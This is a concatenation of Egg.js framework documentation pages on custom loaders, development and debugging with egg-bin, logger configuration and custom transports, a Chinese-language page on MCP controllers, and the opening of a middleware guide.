    super.loadConfig();
    // process config
  }

  load() {
    super.load();
    // custom loading other directories
    // or processing loaded files
  }
}

class Application extends egg.Application {
  protected override customEggPaths() {
    return [path.dirname(__dirname), ...super.customEggPaths()];
  }
  // override Egg's Loader, use this Loader when launching
  protected override customEggLoader() {
    return YadanAppWorkerLoader;
  }
}

module.exports = Object.assign(egg, {
  Application,
  // custom Loader also need export, inherited framework make extensions based on it
  AppWorkerLoader: YadanAppWorkerLoader,
});
```

It's convenient for development team to customize loading via the Loader supported APIs. such as `this.model.xx`, `app/extend/filter.js` and so on.

The mention above is just a description of the Loader wording, please see [Framework Development](./framework.md) for details.

## Loader API

Loader also supports some low level APIs to simplify code when extending, [here](https://github.com/eggjs/egg-core#eggloader) are all APIs.

### `loadFile`

Used to load a file, such as loading `app/xx.js`:

```js
// app/xx.js
module.exports = (app) => {
  console.log(app.config);
};

// app.js
// app/xx.js, as an example, we could load this file in app.js
const path = require('path');
module.exports = (app) => {
  app.loader.loadFile(path.join(app.config.baseDir, 'app/xx.js'));
};
```

If the file exports a function, then the function will be called with `app` as its parameter, otherwise uses this value directly.

### `loadToApp`

Used to load files from a directory into the app, such as `app/controller/home.js` to `app.controller.home`.

```js
// app.js
// The following is just an example, using loadController to load controller in practice
module.exports = (app) => {
  const directory = path.join(app.config.baseDir, 'app/controller');
  app.loader.loadToApp(directory, 'controller');
};
```

The method has three parameters `loadToApp(directory, property, LoaderOptions)`:

1. Directory could be String or Array, Loader will load files in those directories.
2. Property is app's property.
3. [LoaderOptions](#LoaderOptions) are some configurations.

### `loadToContext`

The difference between loadToApp and loadToContext is that loadToContext loads files into ctx instead of app, and it's a lazy loading. It puts files into a temp object when loading, and instantiates objects when calling ctx APIs.

We load service in this mode as an example:

```js
// The following is just an example, using loadService in practice
// app/service/user.js
const Service = require('egg').Service;
class UserService extends Service {}
module.exports = UserService;

// app.js
// get all loadUnit
const servicePaths = app.loader
  .getLoadUnits()
  .map((unit) => path.join(unit.path, 'app/service'));

app.loader.loadToContext(servicePaths, 'service', {
  // service needs to inherit app.Service, so needs app as parameter
  // enable call will return UserService when loading
  call: true,
  // loading file into app.serviceClasses
  fieldClass: 'serviceClasses',
});
```

`app.serviceClasses.user` becomes UserService after file loading, it instantiates UserService when calling `ctx.service.user`.
So this class will only be instantiated when first calling, and will be cached after instantiation, multiple calling same request will be instantiated only once.

### LoaderOptions

#### `ignore [String]`

`ignore` could ignore some files, supports glob, the default is empty.

```js
app.loader.loadToApp(directory, 'controller', {
  // ignore files in app/controller/util
  ignore: 'util/**',
});
```

#### `initializer [Function]`

Processing each file exported values, the default is empty.

```js
// app/model/user.js
module.exports = class User {
  constructor(app, path) {}
};

// Loading from app/model, could do some initializations when loading.
const directory = path.join(app.config.baseDir, 'app/model');
app.loader.loadToApp(directory, 'model', {
  initializer(model, opt) {
    // The first parameter is export's object
    // The second parameter is an object that only contains current file path.
    return new model(app, opt.path);
  },
});
```

#### `caseStyle [String]`

File conversion rules, could be `camel`, `upper`, `lower`, the default is `camel`.

All three convert file name to camel case, but deal with the initials differently:

* `camel`: initials unchanged.
* `upper`: initials upper case.
* `lower`: initials lower case.

Loading different files uses different configurations:

| File           | Configuration |
| -------------- | ------------- |
| app/controller | lower         |
| app/middleware | lower         |
| app/service    | lower         |

#### `override [Boolean]`

Overriding or throwing exception when encounter existing files, the default is false.

For example, the `app/service/user.js` is both loaded by the application and the plugin, if the setting is true, the application will override the plugin, otherwise an error will be throwed when loading.

Loading different files uses different configurations:

| File           | Configuration |
| -------------- | ------------- |
| app/controller | true          |
| app/middleware | false         |
| app/service    | false         |

#### `call [Boolean]`

Calling when export's object is function, and get the return value, the default is true

Loading different files uses different configurations:

| File           | Configuration |
| -------------- | ------------- |
| app/controller | true          |
| app/middleware | false         |
| app/service    | true          |

## CustomLoader

You can use `customLoader` instead of `loadToContext` and `loadToApp`.

When you define a loader with `loadToApp`

```js
// app.js
module.exports = (app) => {
  const directory = path.join(app.config.baseDir, 'app/adapter');
  app.loader.loadToApp(directory, 'adapter');
};
```

Instead, you can define `customLoader`

```js
// config/config.default.js
module.exports = {
  customLoader: {
    // the property name when load to application, E.X. app.adapter
    adapter: {
      // relative to app.config.baseDir
      directory: 'app/adapter',
      // if inject is ctx, it will use loadToContext
      inject: 'app',
      // whether load the directory of the framework and plugin
      loadunit: false,
      // you can also use other LoaderOptions
    },
  },
};
```

## Reference Links

* [Loader](https://github.com/eggjs/egg-core/blob/master/lib/loader/egg_loader.js)
* [AppWorkerLoader](https://github.com/eggjs/egg/blob/master/lib/loader/app_worker_loader.js)
* [AgentWorkerLoader](https://github.com/eggjs/egg/blob/master/lib/loader/agent_worker_loader.js)

---

---
url: /core/development.md
---

We provide convenient ways for development, debugging, and unit tests to improve your development experience.

Here, we need to use [egg-bin] module (Only used in local development and unit tests. For production environment, please refer to [Deployment](./deployment.md)).

First of all, we need to include `egg-bin` module in `devDependencies`:

```bash
$ npm i egg-bin --save-dev
```

## Start App

Once we have modified code and saved in local development, the app will restart automatically, and our changes will take place right after that.

### Adding Script

Add `npm scripts` into `package.json`：

```json
{
  "scripts": {
    "dev": "egg-bin dev"
  }
}
```

And then we may start app by `npm run dev`.

### Environment Configuration

To start app in local, environment needs to be set as `env: local`. The configuration comes from the combination of both `config.local.js` and `config.default.js`.

> Note: The local development environment relies on '@eggjs/development' module, enabled by default, and closed other environment, Configuration reference [config/config.default.ts](https://github.com/eggjs/development/blob/master/src/config/config.default.ts)

### About `Reload`

Under the following directory (including subdirectories) will watch file changes under development environment by default, trigger an Egg development environment server reload:

* ${app\_root}/app
* ${app\_root}/config
* ${app\_root}/mocks
* ${app\_root}/mocks\_proxy
* ${app\_root}/app.js

> set `config.development.overrideDefault` to `true` to skip defaults merge.

Under the following directory (including subdirectories) will ignore file changes under development environment by default:

* ${app\_root}/app/view
* ${app\_root}/app/assets
* ${app\_root}/app/public
* ${app\_root}/app/web

> set `config.development.overrideIgnore` to `true` to skip defaults merge.

### Port Assignment

Starting app in local will listen to port 7001 by default. You may assign other port to it like this:

```json
{
  "scripts": {
    "dev": "egg-bin dev --port 7001"
  }
}
```

## Unit Test

Here we mainly cover the usage of the tools, for more details about unit tests, please refer to [here](./unittest.md).

### Adding Script

Add `npm scripts` into `package.json`：

```json
{
  "scripts": {
    "test": "egg-bin test"
  }
}
```

And then we can run unit test by `npm test`.

### Environment Configuration

To run test cases, environment needs to be set as `env: unittest`. The configuration comes from the combination of both `config.local.js` and `config.unittest.js`.

### Run specific test file

`npm test` command will look for all the files ended with `.test.js` under test folder (default [glob] matching rule is `test/**/*.test.js`).

However, we would like to run only the test cases that we are working on sometimes. In this case, we may specify a file in the following way:

```bash
$ TESTS=test/x.test.js npm test
```

[glob] expressions are supported here.

### Reporter Setting

Mocha supports various reporters. Default reporter is `spec`.

Reporter is allowed to be specified mannually via setting TEST\_REPORTER as the environment variable. For example, to use `dot` instead:

```bash
$ TEST_REPORTER=dot npm test
```

![image](https://cloud.githubusercontent.com/assets/156269/21849809/a6fe6df8-d842-11e6-8507-20da63bc8b62.png)

### Timeout Setting

The default timeout is 30 seconds. We may set our own timeout (in milliseconds). For example, setting timeout to 5 seconds:

```bash
$ TEST_TIMEOUT=5000 npm test
```

### Pass Parameters via argv

Besides environment variables, `egg-bin test` also supports passing parameters directly, and it supports all mocha parameters. You may refer to [mocha usage](https://mochajs.org/#usage).

```bash
$ # Passing parameters via npm need to add an extra `--`, according to https://docs.npmjs.com/cli/run-script
$ npm test -- --help
$
$ # Equivalent to `TESTS=test/**/test.js npm test`. Since the limitation of bash, it's better to add double qoute to path.
$ npm test "test/**/test.js"
$
$ # Equivalent to `TEST_REPORTER=dot npm test`
$ npm test -- --reporter=dot
$
$ # Parameters of mocha are supported, such as grep, require, etc.
$ npm test -- -t 30000 --grep="should GET"
```

## Code Coverage

egg-bin has build-in [nyc](https://github.com/istanbuljs/nyc) to support calculating code coverage report of unit test.

Add `npm scripts` into `package.json`：

```json
{
  "scripts": {
    "cov": "egg-bin cov"
  }
}
```

And then we can get code coverage report of unit test via `npm run cov`.

```bash
$ egg-bin cov

  test/controller/home.test.js
    GET /
      ✓ should status 200 and get the body
    POST /post
      ✓ should status 200 and get the request body

  ...

  16 passing (1s)

=============================== Coverage summary ===============================
Statements   : 100% ( 41/41 )
Branches     : 87.5% ( 7/8 )
Functions    : 100% ( 10/10 )
Lines        : 100% ( 41/41 )
================================================================================
```

And we may open HTML file of complete code coverage report via `open coverage/lcov-report/index.html`.

![image](https://cloud.githubusercontent.com/assets/156269/21845201/a9a85ab6-d82c-11e6-8c24-5e85f352be4a.png)

### Environment Configuration

Just like test, the environment needs to be set to `env:unittest` to run cov, and the configuration comes from the combination of both `config.local.js` and `config.unittest.js`.

### Ignore Specific Files

To ignore some files in code coverage rate calculation, You may use `COV_EXCLUDES` as the environment variable to ignore some specific files that don't need the test converages:

```bash
$ COV_EXCLUDES=app/plugins/c* npm run cov
$ # Or pass this setting via parameters
$ npm run cov -- --x=app/plugins/c*
```

## Debugging

### Log Print

### Use `Logger` Module

There's a built-in [Log](./logger.md) in the egg, so you may use logger.debug() to print out debug information. **We recommend you use it in your own code.**

```js
// controller
this.logger.debug('current user: %j', this.user);

// service
this.ctx.logger.debug('debug info from service');

// app/init.js
app.logger.debug('app init');
```

Levels of logs can be configured via `config.logger.level` for printing into file, and `config.logger.consoleLevel` for printing into console.

### Use `Debug` Module

[debug](https://www.npmjs.com/package/debug) module is a debug tool widely adopted in Node.js community, plenty of modules are using it to print debug information. So for the Egg community. **We recommand you use it in your own development of framework and plugins.**

It's easy for us to watch the whole process of test through `DEBUG` as the environment variable to start with certain code.

(Do not confuse debug module with logger module, for the latter also has quite a lot of functions, what we mean "log" here is the debug info.)

Turn on log of all modules:

```bash
$ DEBUG=* npm run dev
```

Turn on log of specific module:

```bash
$ DEBUG=egg* npm run dev
```

Detail logs of unit tests progress are able to be viewed via `DEBUG=* npm test`.

### Debug with `egg-bin`

#### Adding Script

Add `npm scripts` into `package.json`：

```json
{
  "scripts": {
    "debug": "egg-bin debug"
  }
}
```

And then we may set breakpoints for debugging our app via `npm run debug`.

`egg-bin` will select debug protocol automatically. [Inspector Protocol] will be selected for version 8.x and later. For earlier ones, [Legacy Protocol] is the choice.

Meanwhile, It also supports customized debug parameters.

```bash
$ egg-bin debug --inpsect=9229
```

* Debug port of `master` is 9229 or 5858 (Legacy Protocol).
* Debug port of `agent` is fixed to 5800, it is customizable via `process.env.EGG_AGENT_DEBUG_PORT`.
* Debug port number of `worker` will increase from `master` port number.
* During developing period, worker will "hot restart" once the code is changed, and it will cause the increase of port. Please refer to the following IDE configuration for auto-reconnecting.

#### Environment Configuration

App starts by `env: local` when executing debug . The configuration comes from the combination of both `config.local.js` and `config.unittest.js`.

#### Debug with [DevTools]

The latest DevTools only supports [Inspector Protocol]. Thus you will need to install Node.js 8.x or higher verions to be able to use it.

Execute `npm run debug` to start it:

```bash
➜  showcase git:(master) ✗ npm run debug

> showcase@1.0.0 debug /Users/tz/Workspaces/eggjs/test/showcase
> egg-bin debug

Debugger listening on ws://127.0.0.1:9229/f8258ca6-d5ac-467d-bbb1-03f59bcce85b
For help see https://nodejs.org/en/docs/inspector
2017-09-14 16:01:35,990 INFO 39940 [master] egg version 1.8.0
Debugger listening on ws://127.0.0.1:5800/bfe1bf6a-2be5-4568-ac7d-69935e0867fa
For help see https://nodejs.org/en/docs/inspector
2017-09-14 16:01:36,432 INFO 39940 [master] agent_worker#1:39941 started (434ms)
Debugger listening on ws://127.0.0.1:9230/2fcf4208-4571-4968-9da0-0863ab9f98ae
For help see https://nodejs.org/en/docs/inspector
9230 opened
Debug Proxy online, now you could attach to 9999 without worry about reload.
DevTools → chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9999/__ws_proxy__
```

And then choose one of the following ways:

* Visit the `DevTools` URL printed in the last few lines in console directly. Since this URL is proxied from worker, you don't need to worry about restarting.
* Open `chrome://inspect`, and config port accordingly, then click `Open dedicated DevTools for Node` to open debug console.

![DevTools](https://user-images.githubusercontent.com/227713/30419047-a54ac592-9967-11e7-8a05-5dbb82088487.png)

#### Debug with WebStorm

`egg-bin` will read environment variable `$NODE_DEBUG_OPTION` set in WebStorm debug mode.

Start npm debug in WebStorm：

![WebStorm](https://user-images.githubusercontent.com/227713/30423086-5dd32ac6-9974-11e7-840f-904e49a97694.png)

#### Debug with [VSCode]

There are 2 ways:

1st method: open settings in VSCode, turn on `Debug: Toggle Auto Attach`, and then execute `npm run debug` in the terminal.

2nd method: setup `.vscode/launch.json` in VSCode, and then simply start with F5 key. (Note: You have to turn off the settings mentioned in the 1st method before doing it).

```js
// .vscode/launch.json
{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "Launch Egg",
      "type": "node",
      "request": "launch",
      "cwd": "${workspaceRoot}",
      "runtimeExecutable": "npm",
      "windows": { "runtimeExecutable": "npm.cmd" },
      "runtimeArgs": [ "run", "debug" ],
      "console": "integratedTerminal",
      "protocol": "auto",
      "restart": true,
      "port": 9229,
      "autoAttachChildProcesses": true
    }
  ]
}
```

And we offer a [vscode-eggjs] extention to setup auto-matically.

![VSCode](https://user-images.githubusercontent.com/227713/35954428-7f8768ee-0cc4-11e8-90b2-67e623594fa1.png)

For more options of setting up debug in VSCode, please refer to [Node.js Debugging in VS Code](https://code.visualstudio.com/docs/nodejs/nodejs-debugging).

## More

If you would like to know more about local development, like customizing a local development tool for your team, please refer to [egg-bin].

[glob]: https://www.npmjs.com/package/glob

[egg-bin]: https://github.com/eggjs/egg-bin

[vscode]: https://code.visualstudio.com

[legacy protocol]: https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md

[inspector protocol]: https://chromedevtools.github.io/debugger-protocol-viewer/v8

[devtools]: https://developer.chrome.com/devtools

[webstorm]: https://www.jetbrains.com/webstorm/

[vscode-eggjs]: https://github.com/eggjs/vscode-eggjs

---

---
url: /core/logger.md
---

There is no doubt that logs are important part for monitoring application and debugging in Web development.

Built-in enterprise scaled logger, [egg-logger](https://github.com/eggjs/egg-logger), makes developer implement logging more easily than ever before.

Core features:

* Levels
* Universal logging, `.error()` will save `ERROR` level logs into a file for later debugging
* Logs from dispatch and runtime are separated
* Create your logger
* Multi-process logs
* Automatic sharding
* High Performance

## Location

* Log files are located in `${appInfo.root}/logs/${appInfo.name}` by default. For instance, `/home/admin/logs/example-app`.
* To avoid conflicts between environments and provide a more convenience way to manage logs, log files will be written into `logs` directory. For instance, `/path/to/example-app/logs/example-app`.

Change `dir` in logger:

```js
// config/config.${env}.js
exports.logger = {
  dir: '/path/to/your/custom/log/dir',
};
```

## Type of Logs

Egg offers a few loggers for different scenarios:

* appLogger `${appInfo.name}-web.log`，for example `example-app-web.log` stores logs from application, it will be used in general.
* coreLogger `egg-web.log`, logs from Egg's core and plugin.
* errorLogger `common-error.log` should not be invoked directly. However, `.error()` in every logger will redirect logs to it for debugging.
* agentLogger `egg-agent.log`, logs from agent process.

If you want to change names of above loggers, you can override them in config:

```js
// config/config.${env}.js
module.exports = (appInfo) => {
  return {
    logger: {
      appLogName: `${appInfo.name}-web.log`,
      coreLogName: 'egg-web.log',
      agentLogName: 'egg-agent.log',
      errorLogName: 'common-error.log',
    },
  };
};
```

## Printing

### Context Logger

It's proper to log details in requests with context logger. The logger will append basics about requests to each log. For example, `[$userId/$ip/$traceId/${cost}ms $method $url]`.

```js
ctx.logger.debug('debug info');
ctx.logger.info('some request data: %j', ctx.request.body);
ctx.logger.warn('WARNING!!!!');

// .error will save information in call stack into errorLog file.
// Exceptions must be guaranteed to be Error or object extended from Error, which offers a trace of what functions were called.
ctx.logger.error(new Error('whoops'));
```

For developers who create frameworks or plugins, `ctx.coreLogger` is another option in Context Logger.

```js
ctx.coreLogger.info('info');
```

### App Logger

For developers who want to know more details about dispatch in Egg, they can easily use `App Logger` to make that happen:

```js
// app.js
module.exports = (app) => {
  app.logger.debug('debug info');
  app.logger.info('Latency: %d ms', Date.now() - start);
  app.logger.warn('warning!');

  app.logger.error(someErrorObj);
};
```

`app.coreLogger` in app is similar to `ctx.coreLogger` in context:

```js
// app.js
module.exports = (app) => {
  app.coreLogger.info('Latency: %d ms', Date.now() - start);
};
```

### Agent Logger

Agent also supports `agent.coreLogger` as the same feature to context and app above.

```js
// agent.js
module.exports = (agent) => {
  agent.logger.debug('debug info');
  agent.logger.info('Latency: %d ms', Date.now() - start);
  agent.logger.warn('warning!');

  agent.logger.error(someErrorObj);
};
```

For more about Agent, you can take a look at [Multi-process](./cluster-and-ipc.md).

## Encoding

The default encoding setting(`utf-8`) can be changed via `encoding` in config:

```js
// config/config.${env}.js
exports.logger = {
  encoding: 'gbk',
};
```

## Format

Use JSON as the output log format, make it easier to parse.

```js
// config/config.${env}.js
exports.logger = {
  outputJSON: true,
};
```

## Log Level

Logs are designed in 5 levels, including `NONE`, `DEBUG`, `INFO`, `WARN` and `ERROR`. For inspecting in development, they will also be written into files and printed into terminal as well.

### Levels

In production environment, Egg will only write logs with level `INFO` and higher, this means `NONE` and `DEBUG` information will be ignored in log files.

If you want to change logger's default output level, modify in the config as follow:

```js
// config/config.${env}.js
exports.logger = {
  level: 'DEBUG', // logs in all level will be written into files
};
```

Stop writing logs in all levels:

```js
// config/config.${env}.js
exports.logger = {
  level: 'NONE',
};
```

#### Debug Log in Production Environment

To avoid some plugin's DEBUG logs printing in the production environment causing performance problems, the production environment prohibits printing DEBUG-level logs by default. If there is a need to print DEBUG logs for debugging in the production environment, you need to set `allowDebugAtProd` configuration to `true`.

```js
// config/config.prod.js
exports.logger = {
  level: 'DEBUG',
  allowDebugAtProd: true,
};
```

### In Terminal

By default, Egg will only print out `INFO`, `WARN` and `ERROR` in terminal. (Notice: It only works on `local` and `unittest` env)

* `logger.consoleLevel`: The logger level in terminal. It defaults to `INFO`, though it defaults to `WARN` on both `local` and `unittest` environments.

Similarly, it can be changed in the following ways:

Print logs in all levels:

```js
// config/config.${env}.js
exports.logger = {
  consoleLevel: 'DEBUG',
};
```

Stop printing logs in all levels:

```js
// config/config.${env}.js
exports.logger = {
  consoleLevel: 'NONE',
};
```

* Base on performance considerations, console logger will be disabled after app ready at prod mode. however, you can enable it by config. (**Not Recommended**)

```js
// config/config.${env}.js
exports.logger = {
  disableConsoleAfterReady: false,
};
```

## Create Your Logger

### Customized

For common scenarios, **it's unnecessary to create new logger**, because too many loggers will make them hard to be managed for later debugging.

The logger you create can be declared in config:

```js
// config/config.${env}.js
const path = require('path');

module.exports = (appInfo) => {
  return {
    customLogger: {
      xxLogger: {
        file: path.join(appInfo.root, 'logs/xx.log'),
      },
    },
  };
};
```

Now, you can get loggers via `app.getLogger('xxLogger')` or `ctx.getLogger('xxLogger')`, and the logs printed from those loggers are similar to the ones from `coreLogger`.

### Custom logger formatter

```js
// config/config.${env}.js
const path = require('path');

module.exports = (appInfo) => {
  return {
    customLogger: {
      xxLogger: {
        file: path.join(appInfo.root, 'logs/xx.log'),
        formatter(meta) {
          return `[${meta.date}] ${meta.message}`;
        },
        // ctx logger
        contextFormatter(meta) {
          return `[${meta.date}] [${meta.ctx.method} ${meta.ctx.url}] ${meta.message}`;
        },
      },
    },
  };
};
```

### Advanced

Logs will be written into files by default. Further, they will also be printed into terminal in development. But what if we need to print those into another place? Creating customized transport can take you there.

Transport can be considered as a tunnel to transfer data in Egg. A logger contains multiple transports, for example the one by default contains `fileTransport` and `consoleTransport`.

For concrete scenario, we take `common-error.log` as an example, which not only printed into files, but also sent to another remote service. At first, we can create a new transport for sending logs to remote:

```js
const co = require('co');
const util = require('util');
const Transport = require('egg-logger').Transport;

class RemoteErrorTransport extends Transport {
  // Create log() to upload logs
  log(level, args) {
    let log;
    if (args[0] instanceof Error) {
      const err = args[0];
      log = util.format(
        '%s: %s\n%s\npid: %s\n',
        err.name,
        err.message,
        err.stack,
        process.pid,
      );
    } else {
      log = util.format(...args);
    }

    this.options.app
      .curl('http://url/to/remote/error/log/service/logs', {
        data: log,
        method: 'POST',
      })
      .catch(console.error);
  }
}

// Transport attached to errorLogger in app.js, makes logs sync to it once those are created.
app
  .getLogger('errorLogger')
  .set('remote', new RemoteErrorTransport({ level: 'ERROR', app }));
```

Performance is what we always consider as important part in our services so that logs will firstly be written into memory and transferred to remote later.

## Log Sharding

One common requirement you can find in enterprise logs is automatic log sharding, which offers a convenient way for management. Luckily, Egg takes [@eggjs/logrotator](https://github.com/eggjs/logrotator) as built-in solution to meet the need.

### Daily Sharding

This is the default way in Egg to cut the logs into files named by `.log.YYYY-MM-DD` at every `00:00`. For example, `example-app-web.log` will be cut into files as follow, `example-app-web.log.YYYY-MM-DD`.

### Size Sharding

The log file also can be cut into ones by size. For example, Egg will process `egg-web.log` when its size reach 2G:

```js
// config/config.${env}.js
const path = require('path');

module.exports = (appInfo) => {
  return {
    logrotator: {
      filesRotateBySize: [
        path.join(appInfo.root, 'logs', appInfo.name, 'egg-web.log'),
      ],
      maxFileSize: 2 * 1024 * 1024 * 1024,
    },
  };
};
```

Logs written into `filesRotateBySize` file will never be processed again by date.

### Hourly Sharding

There is another option that the log files can be divided into small ones by hour.

For example, we need to cut `common-error.log` by hour just like following implementation.

```js
// config/config.${env}.js
const path = require('path');

module.exports = (appInfo) => {
  return {
    logrotator: {
      filesRotateByHour: [
        path.join(appInfo.root, 'logs', appInfo.name, 'common-error.log'),
      ],
    },
  };
};
```

Logs written into `filesRotateByHour` file will never be processed again by date.

## Performance

Generally, requests are frequent events to Web services, so writing logs into disk after each event will cause more unexpected I/O. Egg takes following strategy to write logs:

> Logs will be firstly transferred into memory, and then Egg will asynchronously write them into files by second.

More about [egg-logger](https://github.com/eggjs/egg-logger) and [@eggjs/logrotator](https://github.com/eggjs/egg/tree/next/plugins/logrotator)。

---

---
url: /zh-CN/basics/mcpcontroller.md
---
# MCP Controller

## 使用场景

使用 mcp 触发器，可以快速便捷的让你的大模型接入。

## 本地开发

在编程界面可以通过`MCPController`装饰器声明一个类为 MCP 触发器，它将包含`Tool`，`Prompt`和`Resource`三种工具

开发前请先添加插件。

```typescript
plugin.mcpProxy = true;
```

### Tool

```typescript
import {
  MCPController,
  ToolArgs,
  MCPToolResponse,
  MCPTool,
  ToolArgsSchema,
} from 'egg';
import z from 'zod';

export const ToolType = {
  name: z.string({
    description: 'npm package name',
  }),
};

// interface MCPToolParams {
//     name?: string;
//     description?: string;
// }

@MCPController({
  name: 'HelloMCP',
})
export class MCPFooController {
  @MCPTool()
  // 请在这里用 typeof
  async bar(
    @ToolArgsSchema(ToolType) args: ToolArgs<typeof ToolType>,
  ): Promise<MCPToolResponse> {
    return {
      content: [
        {
          type: 'text',
          text: `海兔 npm 包: ${args.name} 不存在`,
        },
      ],
    };
  }
}
```

### Prompt

```typescript
import {
  MCPController,
  PromptArgs,
  MCPPromptResponse,
  MCPPrompt,
  PromptArgsSchema,
} from 'egg';
import z from 'zod';

export const PromptType = {
  name: z.string(),
};

// interface MCPPromptParams {
//     name?: string;
//     description?: string;
// }

@MCPController({
  name: 'HelloMCP',
})
export class MCPFooController {
  @MCPPrompt()
  // 请在这里用 typeof
  async foo(
    @PromptArgsSchema(PromptType) args: PromptArgs<typeof PromptType>,
  ): Promise<MCPPromptResponse> {
    return {
      messages: [
        {
          role: 'user',
          content: {
            type: 'text',
            text: `Generate a concise but descriptive commit message for these changes:\n\n${args.name}`,
          },
        },
      ],
    };
  }
}
```

### Resource

```typescript
import { MCPController, MCPResourceResponse, MCPResource } from 'egg';
import z from 'zod';

// export interface MCPResourceUriParams {
//     name?: string;
//     uri: string;
//     metadata?: ResourceMetadata;
// }
// export interface MCPResourceTemplateParams {
//     name?: string;
//     template: ConstructorParameters<typeof ResourceTemplate>;
//     metadata?: ResourceMetadata;
// }
// export type MCPResourceParams = MCPResourceUriParams | MCPResourceTemplateParams;

@MCPController({
  name: 'HelloMCP',
})
export class MCPFooController {
  @MCPResource({
    template: [
      'hitu://npm/{name}/{?version}',
      {
        list: undefined,
      },
    ],
  })
  async car(uri: URL): Promise<MCPResourceResponse> {
    return {
      contents: [
        {
          uri: uri.toString(),
          text: `MOCK TEXT`,
        },
      ],
    };
  }
}
```

### Notification

```typescript
import {
  MCPController,
  ToolArgs,
  MCPToolResponse,
  MCPTool,
  ToolExtra,
  ToolArgsSchema,
  Extra,
} from 'egg';
import z from 'zod';

export const NotificationType = {
  interval: z
    .number()
    .describe('Interval in milliseconds between notifications')
    .default(100),
  count: z
    .number()
    .describe('Number of notifications to send (0 for 100)')
    .default(50),
};

@MCPController()
export class AppController {
  @MCPTool({
    name: 'start-notification-stream',
    description:
      'Starts sending periodic notifications for testing resumability',
  })
  async startNotificationStream(
    @ToolArgsSchema(NotificationType) args: ToolArgs<typeof NotificationType>,
    @Extra() extra: ToolExtra,
  ): Promise<MCPToolResponse> {
    const { interval, count } = args;
    const { sendNotification } = extra;
    const sleep = (ms: number) =>
      new Promise((resolve) => setTimeout(resolve, ms));
    let counter = 0;

    while (count === 0 || counter < count) {
      counter++;
      try {
        await sendNotification({
          method: 'notifications/message',
          params: {
            level: 'info',
            data: `Periodic notification #${counter}`,
          },
        });
      } catch (error) {
        console.error('Error sending notification:', error);
      }
      await sleep(interval);
    }

    return {
      content: [
        {
          type: 'text',
          text: `Started sending periodic notifications every ${interval}ms`,
        },
      ],
    };
  }
}
```

#### 调用

```ts
import {
  HTTPBody,
  HTTPController,
  HTTPMethod,
  HTTPMethodEnum,
  Inject,
} from 'egg';
import { MCPClientFactory } from 'egg/mcp';

export interface ListMcpRequest {
  appname: string;
  category?: string;
  servername: string;
  clientName?: string;
  uniqueId?: string;
  version?: string;
}

export interface CallMcpRequest {
  appname: string;
  category?: string;
  servername: string;
  clientName?: string;
  uniqueId?: string;
  version?: string;
  toolName: string;
  arguments: Record<string, object>;
}

@HTTPController({ path: '/api/mcp/admin/demo' })
export default class MCPDemoHTTPController {
  @Inject()
  private readonly mcpClientFactory: MCPClientFactory;

  @HTTPMethod({
    method: HTTPMethodEnum.POST,
    path: '/list',
  })
  async getMcpTools(
    @HTTPBody() request: ListMcpRequest,
  ): Promise<Record<string, string>> {
    const client = await this.mcpClientFactory.build(
      {
        name: request.clientName ?? request.servername,
        version: request.version ?? '1.0.0',
      },
      {
        serverSubConfig: {
          appname: request.appname,
          uniqueId: request.uniqueId,
          serverName: request.servername,
          category: request.category,
        },
      },
    );
    const tools = await client.listTools();
    return tools as any;
  }

  @HTTPMethod({
    method: HTTPMethodEnum.POST,
    path: '/call',
  })
  async callMcpTools(
    @HTTPBody() request: CallMcpRequest,
  ): Promise<Record<string, string>> {
    const client = await this.mcpClientFactory.build(
      {
        name: request.clientName ?? request.servername,
        version: request.version ?? '1.0.0',
      },
      {
        serverSubConfig: {
          appname: request.appname,
          uniqueId: request.uniqueId,
          serverName: request.servername,
          category: request.category,
        },
      },
    );
    const res = await client.callTool({
      name: request.toolName,
      arguments: request.arguments ?? {},
    });
    return res as any;
  }
}
```

## 单元测试

> ⚠️ 注意：MCP 只支持 node >= 18。

```typescript
import path from 'node:path';
import assert from 'node:assert';
import { app } from 'egg-mock/bootstrap';
import { Client } from '@modelcontextprotocol/sdk/client/index.js';

describe('plugin/controller/test/mcp/mcpcontroller.test.ts', () => {
  it('should mcp work', async () => {
    app.mockCsrf();
    const client: Client = await app.mcpClient();

    const resources = await client.listResources();
    const prompts = await client.listPrompts();
    const tools = await client.listTools();

    assert.deepEqual(resources, {
      resources: [
        { uri: 'hitu://npm/tegg?version=4.10.0', name: 'tegg' },
        { uri: 'hitu://npm/mcp?version=0.10.0', name: 'mcp' },
      ],
    });

    assert.deepEqual(prompts, {
      prompts: [{ name: 'foo', arguments: [{ name: 'name', required: true }] }],
    });

    assert.deepEqual(tools, {
      tools: [
        {
          name: 'bar',
          inputSchema: {
            $schema: 'http://json-schema.org/draft-07/schema#',
            additionalProperties: false,
            properties: {
              name: {
                description: 'npm package name',
                type: 'string',
              },
            },
            required: ['name'],
            type: 'object',
          },
        },
      ],
    });

    const toolRes = await client.callTool({
      name: 'bar',
      arguments: {
        name: 'aaa',
      },
    });
    assert.deepEqual(toolRes, {
      content: [{ type: 'text', text: '海兔 npm 包: aaa 不存在' }],
    });

    const promptRes = await client.getPrompt({
      name: 'foo',
      arguments: {
        name: 'bbb',
      },
    });
    assert.deepEqual(promptRes, {
      messages: [
        {
          role: 'user',
          content: {
            type: 'text',
            text: 'Generate a concise but descriptive commit message for these changes:\n\nbbb',
          },
        },
      ],
    });

    const resourceRes = await client.readResource({
      uri: 'hitu://npm/tegg?version=4.10.0',
    });
    assert.deepEqual(resourceRes, {
      contents: [
        { uri: 'hitu://npm/tegg?version=4.10.0', text: 'MOCK TEXT 张三' },
      ],
    });
  });
});
```

---

---
url: /basics/middleware.md
---

In [the previous chapter](../intro/egg-and-koa.md), we say that Egg is based on Koa, so the form of middleware in Egg is the same as in Koa, i.e. they are both based on [the onion model](../intro/egg-and-koa.md#middleware).

## Writing Middleware

### How to Write

Let's take a look at how to write a middleware from a simple gzip example.

```js
const isJSON = require('koa-is-json');
const zlib = require('zlib');

async function gzip(ctx, next) {
  await next();

  // convert the response body to gzip after the completion of the execution of subsequent middleware
  let body = ctx.body;
  if (!body) return;
  if (isJSON(body)) body = JSON.stringify(body);

  // set gzip body, correct the response header
  const stream = zlib.createGzip();
  stream.end(body);
  ctx.body = stream;
  ctx.set('Content-Encoding', 'gzip');
}
```

You might find that the middleware's style in the framework is exactly the same as in Koa, yes, any middleware in Koa can be used directly by the framework.

### Configuration

